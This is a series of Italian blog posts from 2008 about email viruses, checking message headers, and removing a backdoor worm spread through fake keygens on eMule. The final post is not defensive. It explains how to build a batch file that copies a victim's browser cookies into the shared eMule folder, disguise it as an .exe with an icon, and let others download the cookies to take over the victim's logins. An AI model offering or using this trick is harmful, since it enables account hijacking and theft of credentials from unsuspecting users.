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si finge un gioco e poi ti trovi il computer infetto

Luglio 29, 2008
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questo è un genere di virus davvero infido (il mio genere preferito)
Funziona così: ti arriva una e-mail in cui una persona di tua conoscenza (compari nella sua rubrica) ti manda un allegato dal nome game.zip (dimensione circa 76 kb) dicendoti in italiano che contiene un gioco molto divertente (“non riesco a smettere di giocare!”), che lui è arrivato a totalizzare il punteggio 105 (ma senza molti tentativi), e conclude invitandoti a migliorare il suo record.. Ebbene, si tratta al 100% di un virus Perché sono così sicuro? Diversi indizi nel testo della e-mail provano che chi l’ha scritto ha fatto molta attenzione a che nessuno vi trovasse anomalie, e soprattutto: la firma finale è uguale al nome che compare nell’indirizzo e-mail del mittente.

Ne era circolata una simile a dicembre, di cui parla anche Paolo attivissimo: parla di un filmato scaricabile da Internet molto divertente. Chi lo scarica prova a visualizzarlo ma il programma lo invita a procurarsi il codec corretto. Scaricando anche questo, ci si ritrova nel computer un virus che comincia a inviare e-mail a raffica agli indirizzi memorizzati in rubrica. Anche questa e-mail arriva con un testo scritto in italiano: è questo è ciò che cambia un po’ nel panorama dei virus in arrivo tramite e-mail. Di qualcosa con testo in inglese, la maggior parte degli italiani diffida quasi subito: di un testo tutto sommato dall’aria innocente scritto da un amico in italiano piano, non diffida quasi nessuno e infatti lo posso certificare anche io

come sapere se un’e-mail che avete ricevuto nasconde un virus…

Luglio 29, 2008

Uno dei modi più semplici per riconoscere messaggi di questo tipo consiste nel verificare l’header completo del messaggio. Tale header viene normalmente nascosto dai programmi per la visualizzazione della posta elettronica, ma può essere visualizzato scegliendo l’opzione opportuna del programma .L’header contiene informazioni relative alla fonte di provenienza reale del messaggio. Ecco un esempio:

hack[2].jpg

Normalmente l’header viene mostrato cosí:

Date: Mon, 15 Jul 2002 11:45:50 +0200 (CEST)   

From: Luca Fini <pippo@libero.it >

To: <pincopallino @libero.it>

Subject: Informazioni in attachment

Sembra a prima vista un messaggio inviato da pippo@libero.it all’indirizzo pincopallino@libero.itVediamo però l’header completo:

Received: from butterfly.sissa.it (butterfly.sissa.it [147.122.1.137])

by hercules.arcetri.astro.it (8.12.2/8.12.2) with ESMTP id g6F9jmMs007464

for <pincopallino@libero.it>; Mon, 15 Jul 2002 11:45:50 +0200 (CEST)

Received: from AFRICA (pc-44.adm.sissa.it [147.122.56.144])

by butterfly.sissa.it (8.11.3/8.11.3/SISSA 1.3) with SMTP id g6F9jfh02946

for <pincopallino@liberoit>; Mon, 15 Jul 2002 11:45:41 +0200

Date: Mon, 15 Jul 2002 11:45:50 +0200 (CEST)

From: Luca Fini <pippo@libero.it >

To: <pincopallino@libero.it >

Subject: Informazioni in attachment

Message-ID: <200207150945.g6F9jfh02946@butterfly.sissa.it>

MIME-Version: 1.0

Content-Type: MULTIPART/MIXED; BOUNDARY=”8323328-609979923-1059984796=:4447″

La prima linea “Received” mostra chiaramente che c’è qualcosa che non va, infatti il messaggio dichiara come indirizzo di provenienza lfini@arcetri.astro.it ma il messaggio viene effettivamente ricevuto dall’indirizzo: 147.122.1.137 che corrisponde a butterfly.sissa.it (Nota: in molti casi compare solo il numero IP perchè questo non corrisponde ad alcun nome conosciuto).

L’anomalia consiste nel fatto che il messaggio non proviene da uno degli indirizzi della rete di Arcetri.

Ogni volta che la provenienza dichiarata nel campo “From:” è diversa da quella che compare nel primo dei campi “Received:”, il messaggio è da considerare fortemente sospetto.

I messaggi con virus hanno sempre un allegato che ne costituisce il vero scopo: si tratta infatti di un programma eseguibile destinato a compiere l’azione dannosa.

N.B. generalmente l’allegato non è dichiarato in formato EXE ma in JPJ MP3 MP4 insomma viene mascherato

N.B: I files eseguibili sono di vari tipi, non solo quindi i files *.EXE, ma anche: *.COM,*.VBS, *.BAT, *.PIF, *.SCR, ed altri.

I messaggi di questo tipo sono solitamente riconoscibili perché “fuori contesto”: il testo è più o meno incongruo, nessun attachment di tale tipo è atteso da quel particolare mittente, ecc. È bene tenere presente però che i “costruttori” di virus fanno il massimo sforzo per renderli credibili.

Come agiscono

Tutti i programmi di questo tipo fin’ora segnalati sono mirati a Windows ed alcuni di essi utilizzano problemi noti di Outlook e Outlook Express. La tecnica è però facilmente applicabile a tutti i sistemi operativi ed a tutti i programmi di posta elettronica; nessuno può quindi ritenersi immune solo perché usa un dato sistema operativo o un dato browser di posta elettronica. In particolare qualunque browser di posta elettronica consente di lanciare un programma inviato come allegato

Per entrare in funzione il programma inviato come allegato deve essere mandato in esecuzione; Ciò può avvenire volontariamente (è il caso più frequente) perché il ricevente effettivamente impartisce un comando di esecuzione o “clicca” sull’icona ritenendo che si tratti di un programma innocuo, oppure involontariamente.

N.B: I nomi dei file allegati sono studiati per trarre in inganno. Ad esempio il nome può essere del tipo: “IMAGE.GIF      .EXE“, che ha apparentemente una estensione .GIFma in realtà termina per .EXE anche se la cosa sfugge perché il nome contiene una lunga sequenza di spazi e la vera estensione finisce fuori dallo schermo.

In alcuni casi il programma Outlook Express può essere configurato in modo da ignorare il tipo di attachment dichiarato ed invece basarsi su una analisi indipendente del file per decidere l’azione; quindi un attachment può essere dichiarato di tipo GIF, ma contenere invece codice eseguibile che viene riconosciuto e mandato in esecuzione “cliccando” sull’icona.

Infine alcuni virus riescono a sfruttare “bug” (errori) nel programma di visualizzazione della posta elettronica, normalmente legati a qualche funzione “automatica” (ad esempio le funzioni di “anteprima” di immagini allegate al messaggio). In questo caso il virus può essere eseguito anche automaticamente.

Quello che accade in seguito all’esecuzione varia da caso a caso. Nei casi più frequenti il programma scrive sul monitor un messaggio di errore ed apparentemente fallisce, invece rimane attivo indefinitamente (nonché viene rilanciato ad ogni bootstrap) ed invia messaggi agli indirizzi trovati nell’indirizzario, componendoli utilizzando brani di messaggi trovati nei folder. Ad ogni messaggio è ovviamente allegata una copia del programma, con vari nomi di fantasia. In qualche caso viene invece mandato un messaggio prefissato, con una richiesta di aiuto o di consiglio.

Come evitarli

La prevenzione è la forma più importante di difesa, ed anche quella meno onerosa.

L’uso di un antivirus (io vi consiglio o AVG Free) rappresenta solitamente una buona protezione purché si tengano presenti due aspetti:

  • L’antivirus è realmente sicuro solo se mantenuto costantemente aggiornato (ad esempio settimanalmente).
  • L’uso di un antivirus può essere addirittura dannoso se da all’utilizzatore un falso senso di sicurezza inducendolo a trascurare le norme elementari di precauzione

Nella maggior parte dei casi il virus entra in azione per una errata o inconsapevole manovra di chi lo riceve, quindi innanzitutto è importante conoscere bene il funzionamento del programma di posta elettronica che si usa. Occorre sapere come si presentano i vari tipi di allegati come si fa per estrarli senza mandarli in esecuzione, come cancellarli, come verificare lo header, etc.

È anche assai importante disabilitare tutte le funzioni “automatiche”, ad esempio quelle di “anteprima” che si trovano in alcuni programmi di posta elettronica (ad es.: Outlook). Anzi sarebbe assai consigliabile non utilizzare programmi di posta elettronica che consentano operazioni di tipo automatico.

Quando si riceve un messaggio “sospetto”, la cosa migliore è ignorarlo e cancellarlo. È un rimedio semplice, economico e totalmente efficace.

N.B: In ogni caso è buona norma avvertire il corrispondente di aver ricevuto il probabile virus in modo che ne sia almeno consapevole. Occorre però tenere presente che l’indirizzo di provenienza può essere contraffatto e che quindi non è detto che il mittente dichiarato sia quello effettivo.

Se proprio non si può fare a meno di resistere alla curiosità è bene, prima di mandare in esecuzione il programma, attenersi alle seguenti regole:

  • Chiedere conferma al mittente dell’avvenuto invio consapevole di un programma eseguibile.
  • Chiedere al mittente la provenienza del programma e valutare attentamente l’attendibilità della risposta: in qualche caso il mittente può essere inconsapevole di ospitare un virus o non avere a sua volta ben valutato l’affidabilità della fonte di un programma.
  • Effettuare l’estrazione del file dal messaggio in modo manuale. È bene che l’operazione sia fatta solo da chi conosce bene il funzionamento del programma di posta elettronica per evitare che il virus sia mandato in esecuzione inavvertitamente.
  • Non affidarsi al risultato di una scansione del programma con un antivirus: spesso gli antivirus sono sostanzialmente inefficaci nei confronti di questi programmi.
  • Chiedere ad un conoscente di eseguire il programma sul proprio PC: cosí eventualmente gli effetti li subisce lui :-) .

Cosa fare quando ci segnalano che un nostro messaggio contiene un virus

Prima di tutto conviene verificare chi ha inviato la segnalazione.

Se si tratta di una persona conviene contattarla e chiederle di verificare nell’header del messaggio che questo provenga effettivamente dal proprio PC e che non si tratti di un caso di indirizzo del mittente contraffatto.

Se si tratta di un sistema automatico, conviene verificare con maggior cura che la segnalazione sia corretta; in molti casi, infatti, i sistemi automatici inviano un messaggio di avviso all’indirizzo che trovano nel campo “From”. Come abbiamo visto, però, tale campo può essere contraffatto e quindi accade sovente che l’avviso arrivi a qualcuno che non ha niente a che fare con il virus. Più in dettaglio:

  • Ugo ha preso un virus, ed ha nel proprio indirizzario l’indirizzo e-mail di Carlo.
  • Il virus dal PC di Ugo manda messaggi cercando di diffondersi ed utilizza l’indirizzo di Carlo come falso indirizzo di provenienza.
  • Uno dei server che ricevono il messaggio con virus lo rivela e manda un avviso al presunto indirizzo di provenienza, ovvero a Carlo, del tutto ignaro.

Ovviamente può accadere che il vostro PC sia effettivamente stato contagiato da un virus, e ciò potrebbe essere verificato facilmente purché sia disponibile (al solito) l’header completo del messaggio con il presunto virus. Normalmente i messaggi automatici includono l’header del messaggio (altrimenti sarebbero del tutto inutili).

Se nell’header, in uno dei campi “Received” compare come provenienza il numero IP del vostro PC (ovvero, nel caso di PC nella rete di Arcetri, un numero del tipo 193.206.154.x, oppure193.206.155.x), avete con tutta probabilità contratto davvero il virus e dovete procedere immediatamente all’eliminazione.

un altro problemuccio di eMule

Giugno 29, 2008

neppure io ero a conoscenza di questo fatto ma ieri mentre sfogliavo una rivista di computer ATTENDIBILISSIMA mi sono imbattuto in un articolo inquietante ecco:

eMule invaso da falsi Keygen”

all’inizio non lo tenevo neppure in considerazione ma poi mi sono messo a leggere, in pratica quando qualcuno “butta” giù da eMule programmi per generare Keygen per programmi pirata (che è una pratica pericolosa e che viola anche il copyright) non abbiamo mai la certezza di ciò che scarichiamo e quindi non possiamo essere certi che il file che scarichiamo non sia in realtà un worm (cerca qui se non sai cosa sia) o un altro tipo di virus, voglio parlarvi di un worm: archivarius, un’insidiosa backdoor che si diffonde sui canali di eMule e di file sharing, pronta a installarsi sui nostri computer per darne accesso a hacker malintenzionati.

analisi di un attacco

non è facile individuare il virus, dato che la prima cosa che fa è “riprodursi” sul nostro computer, l’unica certezza è che nella cartella incoming di eMule si troveranno molti file .rar con nomi di programmi noti nel quale archivio ci sarà sempre il file

installer-Crack-Keygen.exe (che rappresenta il troyan vero e proprio)

una volta che il troyan ci contagia crea due file: WinSecure.exe e NTSpool.exe nella cartella

C:\WINDOWS\ System32

quindi aggiunge 2 chiavi al registro di configurazione per assicurarne l’esecuzione all’avvio di windows:

HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\run “NTSpool.exe”=”c:\windows\sistem32\NTSpool.exe”

e

HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\run “WinSecure.exe”=”c:\windows\sistem32\Winsecure.exe”

tutto chiaro fino ad ora?

il file WinSecure.exe è solo una copia del vero troyan, il file NTSpool.exe si occupa di aprire alcune porte di comunicazione per consentire l’accesso al computer da parte di malintenzionati, lo scopo dell’infezione è quello di creare una rete di computer-zombie controllati in remoto per mettere a segno un nuovo colpo!

“come debello il virus?” vi chiederete bhe, ecco a voi le istruzioni…

1) per prima cosa blocchiamo il ripristino automatico delle impostazioni così da impedire a copie infette del virus di ripristinarsi, seguiamo questo persorso:

Start/impostazioni/pannello di controllo/sistema

spostiamoci ora sul tab ripristino e configurazione di sistema e spuntiamo il box “disattiva ripristino configurazione di sistema” poi clicchiamo su applica e poi su ok

NOTA: ricordarsi di ripristinarla al termine della bonifica

2)la rimozione manuale del virus può essere difficoltosa quindi scarichiamo gratuitamente da qui il tool

The avenger, una volta scaricato l’archivio scompattiamolo in C:\Avenger avviamolo e clicchiamo su ok al messaggio che compare

NOTA:come tutti i tool va usato con mooolta cautela dato che il suo errato uso potrebbe causare danni al sistema operativo!

3) ora eliminiamo i file che rallentano l’avvio di windows possiamo farlo in tre modi:

1 creiamo uno script ad hoc utile per processi molto lunghi

2 carichiamo lo script da un URL

3 inseriamo in tempo reale i percorsi dei file da eliminare

noi useremo il terzo metodo quindi…

4) nella schermata di the avenger noteremo un’ampia zona di immissione di testo, qui inseriamo i comandi necessari:

Folders to delette:

%SystemDrive%:\WINDOWS\System32\NTSpool.exe

%SystemDrive%:\WINDOWS\System32\WinSecure.exe

NOTA: ricordarsi di sostituire il %SistemDrive% compreso % con la lettera assegnata al nostro hard disk solitamente C

ora togliamo la spunta a Scan for rootkits e clicchiamo su Execute per avviare la scansione, al termine riavviamo il nostro PC

il grosso lo abbiamo fatto ma non è ancora finita

5) ripuliamo il registro di sistema dalle voci create dal worm.archivarius clicchiamo su Start\Esegui digitiamo Regedit e confermiamo su ok nella colonna che verrà mostrata a video a sinistra navighiamo fra le chiavi fino ad rrivare a 

HKEY_CURRENT_USER\Software\microsoft\windows\CurrentVersion\policies\Explorer\Run

nella finestra di destra troveremo quindi le voci

“NTSpool.exe”=”c:windows\sistem32\NTSpool.exe”"WinSecure.exe”=”c:\windows\system32\WinSecure.exe

selezioniamole col tasto destro e clicchiamo su elimina

6) ci manca solo da eliminare gli ultimi file di worm.archiavirus quindi andiamo su risorse del computer (sapete tutti come fare vero?) andiamo nella cartella dove abbiamo scompattato l’archivio infetto (quello che abbiamo scaricato da eMule) e eliminiamo tutto compreso il file installer-Crack-keygen.exe

fatto questo eliminiamo i file .rar da incoming e il gioco è fatto

e allora che ne dite?

eMule, il pericolo si annida ecco dove

Giugno 29, 2008

non tutti sanno del pericolo che si annida in emule: le cartelle condivise

nella cartella “incoming” il mulo mette tutte le cose che scarica… e tutte le cose che si vuole condividere.
Ora… se per errore noi condividessimo i nostri Cookies? (che per chi non lo sa sono i file contenenti username e password che il nostro browser salva nell’hard disk) ipotiziamo che si trovino nella cartelle “\Documents and Settings\%username%\Cookies”…
Bene, procediamo
Chi sa dove si trova la cartella “incoming”…
facile si trova in “\Programmi\eMule\Incoming”.
Bene e adesso che abbiamo fatto questa bella scoperta???
Creiamo il nostro fileuccio in batch che impone al computer di copiare tutti i cookie nella cartella condivisa:

copy “\Documents and Settings\%username%\Cookies” “\Programmi\eMule\Incoming”

guarda la mia lezione di batch se non sai come fare

Il povero malcapitato che aprirà in file [che possiamo anche migliorare convertendolo in .exe e dandogli un'icona ecc...] si ritroverà a condividere tutti i suoi cookies senza saperlo, che sfiga…
Basta che qualcuno vada su eMule, cerchi tutti i documenti presenti in rete e scelga i cookies, li incolli nella sua cartella “Cookies” e navighi…

Se siete dei grandissimi pirati che salvate i cookies per comodità e non volete fare a meno di eMule vi consiglio di eliminare tutti i dalla cartella “incoming” ogni volta che spegnete il computer.

Per facilitare questa operazione è meglio creare un file che faccia tutto da solo…

@del/q “\Programmi\eMule\Incoming”
shutdown -s -t 30 -c “Ho eliminato i file, puoi stare tranquillo”

allora, sono o non sono il migliore?